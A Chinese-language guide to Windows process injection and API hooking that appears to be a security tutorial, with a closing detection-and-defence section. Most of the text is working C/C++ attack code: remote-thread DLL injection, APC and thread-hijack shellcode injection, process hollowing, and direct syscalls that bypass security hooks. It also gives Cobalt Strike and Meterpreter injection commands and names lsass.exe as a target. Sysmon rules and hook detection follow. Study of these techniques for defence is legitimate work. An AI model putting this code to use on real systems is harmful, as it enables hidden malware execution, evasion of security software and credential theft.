进程注入与 API 钩子完全指南

← 返回指南列表

进程注入与 API 钩子完全指南

进程注入是恶意软件和红队攻击的核心技术。攻击者通过将恶意代码注入到合法进程中,实现隐藏、权限提升、凭证窃取等目的。API 钩子则是安全软件的核心技术,用于拦截和监控系统调用。本章深入分析进程注入的各种技术和 API 钩子的攻防博弈。


一、进程注入基础

1.1 为什么需要进程注入

GRAPH
TD
    A[攻击者需要隐藏代码] --> B[注入到合法进程]
    A --> C[绕过防火墙/安全软件]
    A --> D[提升至目标进程权限]
    A --> E[持久驻留系统]
    B --> F[目标: explorer.exe, svchost.exe, lsass.exe]
    D --> G[目标拥有高权限令牌]

1.2 注入流程

TEXT
1. 获取目标进程句柄 (OpenProcess)
2. 在目标进程中分配内存 (VirtualAllocEx)
3. 将载荷写入目标内存 (WriteProcessMemory)
4. 创建远程线程执行载荷 (CreateRemoteThread)
5. 或设置 APC 队列 (QueueUserAPC)
6. 清理痕迹

1.3 必要的 API

API 函数 用途 攻击者视角
OpenProcess 获取目标进程句柄 需要 PROCESS_ALL_ACCESS
VirtualAllocEx 在目标进程中分配内存 标记为 MEM_COMMIT
WriteProcessMemory 写入载荷到目标内存 避免写入已知恶意签名
CreateRemoteThread 在目标进程中创建线程 经典但易检测
GetProcAddress 获取 API 地址 动态解析避免导入表检测
NtCreateThreadEx 底层线程创建 绕过 CreateRemoteThread 钩子
RtlCreateUserThread 在目标进程创建线程 绕过某些安全监控

二、经典注入技术

2.1 CreateRemoteThread DLL 注入

CPP
// classic_inject.cpp
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

int inject(DWORD pid, const char* dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return -1;
    
    // 在目标进程中分配内存存储 DLL 路径
    void* pRemoteMem = VirtualAllocEx(
        hProcess, NULL, strlen(dllPath) + 1,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    if (!pRemoteMem) { CloseHandle(hProcess); return -2; }
    
    // 写入 DLL 路径
    WriteProcessMemory(hProcess, pRemoteMem, dllPath, strlen(dllPath) + 1, NULL);
    
    // 获取 LoadLibraryA 地址
    FARPROC pLoadLibrary = GetProcAddress(
        GetModuleHandle("kernel32.dll"), "LoadLibraryA"
    );
    
    // 创建远程线程
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0, 
        (LPTHREAD_START_ROUTINE)pLoadLibrary,
        pRemoteMem, 0, NULL
    );
    
    WaitForSingleObject(hThread, INFINITE);
    VirtualFreeEx(hProcess, pRemoteMem, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

2.2 反射式 DLL 注入

C
// 反射加载器 - 无需 LoadLibrary
typedef HMODULE(__stdcall *ReflectiveLoader)(void);

DWORD_PTR findReflectiveLoader(void* dllBase) {
    // 1. 解析 DLL 的 PEB 找到导出表
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)dllBase;
    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)dllBase + dos->e_lfanew);
    IMAGE_DATA_DIRECTORY* exports = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    
    // 2. 查找 ReflectiveLoader 函数
    IMAGE_EXPORT_DIRECTORY* expDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)dllBase + exports->VirtualAddress);
    DWORD* names = (DWORD*)((BYTE*)dllBase + expDir->AddressOfNames);
    WORD* ordinals = (WORD*)((BYTE*)dllBase + expDir->AddressOfNameOrdinals);
    DWORD* functions = (DWORD*)((BYTE*)dllBase + expDir->AddressOfFunctions);
    
    for (DWORD i = 0; i < expDir->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)dllBase + names[i]);
        if (strcmp(name, "ReflectiveLoader") == 0) {
            return (DWORD_PTR)dllBase + functions[ordinals[i]];
        }
    }
    return 0;
}

2.3 APC 注入

CPP
void apc_inject(DWORD pid, unsigned char* shellcode, SIZE_T size) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    HANDLE hThread = NULL;
    THREADENTRY32 te32;
    
    // 分配内存并写入 shellcode
    void* pRemote = VirtualAllocEx(hProcess, NULL, size,
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, pRemote, shellcode, size, NULL);
    
    // 遍历目标进程的线程
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    te32.dwSize = sizeof(THREADENTRY32);
    Thread32First(hSnap, &te32);
    
    do {
        if (te32.th32OwnerProcessID == pid) {
            hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
            // 将 shellcode 排队到 APC 队列
            QueueUserAPC((PAPCFUNC)pRemote, hThread, NULL);
            CloseHandle(hThread);
        }
    } while (Thread32Next(hSnap, &te32));
    
    // 目标线程下次进入可告警等待状态时将执行 shellcode
    // 例如 WaitForSingleObject, SleepEx, MsgWaitForMultipleObjects
}

2.4 线程执行劫持

CPP
void thread_hijack(DWORD pid, unsigned char* shellcode, SIZE_T size) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    // 1. 暂停目标线程
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, target_tid);
    SuspendThread(hThread);
    
    // 2. 获取线程上下文
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(hThread, &ctx);
    
    // 3. 在目标进程中写入 shellcode
    void* pRemote = VirtualAllocEx(hProcess, NULL, size,
        MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, pRemote, shellcode, size, NULL);
    
    // 4. 修改线程入口指向 shellcode
    ctx.Rip = (DWORD64)pRemote;
    SetThreadContext(hThread, &ctx);
    
    // 5. 恢复线程执行
    ResumeThread(hThread);
}

2.5 Process Hollowing

CPP
void process_hollow(char* targetPath, char* replacementPath) {
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    
    // 1. 以挂起方式创建目标进程
    CreateProcess(targetPath, NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    // 2. 获取目标进程的映像基址
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);
    
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(pi.hProcess, 0, &pbi, sizeof(pbi), NULL);
    LPVOID imageBase = pbi.PebBaseAddress + offset; // PEB->ImageBaseAddress
    
    // 3. 读取替换映像
    HANDLE hFile = CreateFile(replacementPath, GENERIC_READ, 0, NULL,
        OPEN_EXISTING, 0, NULL);
    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE* buffer = (BYTE*)VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
    ReadFile(hFile, buffer, fileSize, NULL, NULL);
    
    // 4. 卸载目标进程的原始映像
    NtUnmapViewOfSection(pi.hProcess, imageBase);
    
    // 5. 将替换映像的 PE 头写入目标
    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(buffer + ((IMAGE_DOS_HEADER*)buffer)->e_lfanew);
    VirtualAllocEx(pi.hProcess, imageBase, nt->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, imageBase, buffer, nt->OptionalHeader.SizeOfHeaders, NULL);
    
    // 6. 写入 PE 节
    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt) + i;
        WriteProcessMemory(pi.hProcess,
            (BYTE*)imageBase + section->VirtualAddress,
            buffer + section->PointerToRawData,
            section->SizeOfRawData, NULL);
    }
    
    // 7. 设置新入口点
    ctx.Rcx = (DWORD64)imageBase + nt->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, &ctx);
    
    // 8. 恢复线程
    ResumeThread(pi.hThread);
}

三、高级注入技术

3.1 AtomBombing

C
// 利用全局原子表注入
// 1. 将 shellcode 编码为字符串存入全局原子表
// 2. 让目标进程通过 GlobalGetAtomName 读取
// 3. 利用 APC 执行

void atombomb(DWORD pid, BYTE* shellcode, SIZE_T size) {
    // 原子表的每个条目最多 255 字节
    // shellcode 需要分片
    for (int i = 0; i < size; i += 254) {
        char atomStr[256] = {0};
        memcpy(atomStr, shellcode + i, min(254, size - i));
        ATOM atom = GlobalAddAtomA(atomStr);
        // 记录 atom 以便目标进程读取
    }
}

3.2 Process Doppelganging

TEXT
利用 NTFS Transaction 实现:
1. 创建 NTFS 事务
2. 在事务中写入恶意 PE
3. 以挂起方式创建进程(数据源为事务中的 PE)
4. 回滚事务
5. 恢复进程

文件系统始终看到的是原始文件(事务已回滚)
但进程已在运行恶意代码

3.3 间接系统调用

C
// 直接使用 syscall 指令绕过 API 钩子
// 通过汇编直接调用系统调用号

__asm volatile (
    "mov r10, rcx\n"
    "mov eax, %1\n"   // 系统调用号
    "syscall\n"
    "mov %0, rax\n"
    : "=r"(result)
    : "i"(SYSCALL_NUMBER)
    : "rcx", "r10", "rax"
);

// 获取系统调用号的方法:
// 1. 从 ntdll.dll 中解析
// 2. 硬编码(需匹配 Windows 版本)
// 3. 使用 Hell's Gate / Halo's Gate 技术动态发现

四、API 钩子技术

4.1 Inline Hooking

C
// 5 字节跳转钩子 (x64)
// mov rax, address; jmp rax = 12 字节
BYTE hookCode[] = {
    0x48, 0xB8,              // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 目标地址
    0xFF, 0xE0               // jmp rax
};

void set_hook(const char* module, const char* api, void* handler) {
    HMODULE hMod = GetModuleHandleA(module);
    void* target = GetProcAddress(hMod, api);
    
    // 保存原始字节
    BYTE orig[12];
    ReadProcessMemory(GetCurrentProcess(), target, orig, 12, NULL);
    
    // 写入跳转指令
    DWORD oldProtect;
    VirtualProtect(target, 12, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(hookCode + 2, &handler, 8);
    memcpy(target, hookCode, 12);
    VirtualProtect(target, 12, oldProtect, &oldProtect);
}

4.2 Detours (微软库)

C
#include "detours.h"

// trampoline 函数
static int (WINAPI *Real_MessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT) = MessageBoxW;

// 钩子处理函数
int WINAPI Hooked_MessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
    // 记录调用
    printf("MessageBoxW called: %ls\n", lpText);
    
    // 修改内容
    return Real_MessageBoxW(hWnd, L"We've been hooked!", lpCaption, uType);
}

void install_hook(void) {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)Real_MessageBoxW, Hooked_MessageBoxW);
    DetourTransactionCommit();
}

4.3 IAT Hooking

C
// IAT(Import Address Table)钩子 - 修改导入表地址

void iat_hook(const char* targetModule, const char* targetApi, void* handler) {
    // 1. 获取当前模块的 PEB
    // 2. 解析 PE 头的导入表
    // 3. 找到目标 API 的 IAT 条目
    // 4. 修改 IAT 地址
    
    IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)GetModuleHandle(NULL);
    IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)dos + dos->e_lfanew);
    IMAGE_IMPORT_DESCRIPTOR* import = (IMAGE_IMPORT_DESCRIPTOR*)
        ((BYTE*)dos + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    
    DWORD oldProtect;
    while (import->Name) {
        char* modName = (char*)((BYTE*)dos + import->Name);
        if (strcmp(modName, targetModule) == 0) {
            IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*)((BYTE*)dos + import->FirstThunk);
            while (thunk->u1.Function) {
                if (thunk->u1.Function == (DWORD_PTR)GetProcAddress(GetModuleHandle(targetModule), targetApi)) {
                    VirtualProtect(&thunk->u1.Function, 8, PAGE_READWRITE, &oldProtect);
                    thunk->u1.Function = (DWORD_PTR)handler;
                    VirtualProtect(&thunk->u1.Function, 8, oldProtect, &oldProtect);
                    return;
                }
                thunk++;
            }
        }
        import++;
    }
}

五、检测与防御

5.1 进程注入检测

检测技术 检测对象 工具/方法
CreateRemoteThread 监控 跨进程线程创建 Sysmon 事件 8
内存扫描 PAGE_EXECUTE_READWRITE 内存 Process Explorer
调用栈回溯 异常的调用链 API Monitor
ETW 追踪 进程创建/线程创建 SilkETW
行为分析 异常进程行为 EDR

5.2 Sysmon 检测规则

XML
<!-- 检测远程线程创建 -->
<RuleGroup name="" id="">
  <EventFiltering>
    <Rule name="Remote Thread Creation" groupRelation="and">
      <SourceImage condition="excludes">C:\Program Files</SourceImage>
      <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
      <EventID>8</EventID>
    </Rule>
  </EventFiltering>
</RuleGroup>

<!-- 检测 API 钩子 -->
<RuleGroup>
  <EventFiltering>
    <ProcessAccess onmatch="include">
      <TargetImage condition="end with">lsass.exe</TargetImage>
      <CallTrace condition="excludes">C:\Windows\SYSTEM32\ntdll.dll</CallTrace>
    </ProcessAccess>
  </EventFiltering>
</RuleGroup>

5.3 反注入防御

C
// 保护关键进程不被注入

// 1. 使用 Callback API 注册保护
NTSTATUS status;
PROCESS_MITIGATION_POLICY policy = ProcessSignaturePolicy;
PROCESS_MITIGATION_SIGNATURE_POLICY sigPolicy;
sigPolicy.MicrosoftSignedOnly = 1;
SetProcessMitigationPolicy(policy, &sigPolicy, sizeof(sigPolicy));

// 2. 禁用动态代码
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dcPolicy;
dcPolicy.ProhibitDynamicCode = 1;
SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dcPolicy, sizeof(dcPolicy));

// 3. 禁用 Win32k 系统调用
PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY scPolicy;
scPolicy.DisallowWin32kSystemCalls = 1;
SetProcessMitigationPolicy(ProcessSystemCallDisablePolicy, &scPolicy, sizeof(scPolicy));

5.4 钩子检测

C
// 检测 inline hook
bool detect_hook(const char* module, const char* api) {
    HMODULE hMod = GetModuleHandleA(module);
    void* target = GetProcAddress(hMod, api);
    BYTE buffer[16];
    ReadProcessMemory(GetCurrentProcess(), target, buffer, 16, NULL);
    
    // 检查前 2 字节是否 jmp relative (0xE9)
    if (buffer[0] == 0xE9) return true;
    
    // 检查 x64 跳转模式 (mov rax, addr; jmp rax)
    if (buffer[0] == 0x48 && buffer[1] == 0xB8 && 
        buffer[10] == 0xFF && buffer[11] == 0xE0) return true;
    
    // 检查 int3 断点
    if (buffer[0] == 0xCC) return true;
    
    return false;
}

六、工具与实战

6.1 注入工具

BASH
# Cobalt Strike 进程注入
inject <pid> <listener>
# 或
shinject <pid> <shellcode_file>

# MSF 注入
meterpreter > migrate <pid>
meterpreter > post/windows/manage/reflective_dll_inject DLL=/path/to.dll

# Meterpreter 自动进程迁移
meterpreter > run post/windows/manage/migrate

6.2 钩子框架

TEXT
Detours (微软)    - 官方 IAT/Inline hooking 库
minHook          - 轻量级 x86/x64 hooking 库
EasyHook         - 支持托管/非托管代码
Frida            - 跨平台动态插桩框架
mhook            - 开源 hooking 库

6.3 Frida 动态插桩

JAVASCRIPT
// Frida 脚本 - hook CreateFileW
Interceptor.attach(Module.findExportByName("kernel32.dll", "CreateFileW"), {
    onEnter: function(args) {
        var path = Memory.readUtf16String(args[0]);
        console.log("[CreateFileW] " + path);
        
        // 阻止写入恶意文件
        if (path.includes("evil.exe")) {
            this.retval = 0xFFFFFFFF; // INVALID_HANDLE_VALUE
            console.log("\tBlocked!");
        }
    },
    onLeave: function(retval) {
        console.log("\tReturned: " + retval);
    }
});

七、总结

注入技术 原理 检测难度 防御
CreateRemoteThread DLL 远程线程 LoadLibrary 低 Sysmon 8
反射式 DLL 注入 自加载 DLL 中 内存扫描
APC 注入 APC 队列远程线程 中 线程监控
Process Hollowing 替换进程 PE 高 ETW 跟踪
AtomBombing 原子表传递 Shellcode 高 原子表监控
Doppelganging NTFS 事务 极高 事务监控
间接系统调用 绕过 API 钩子 极高 内核回调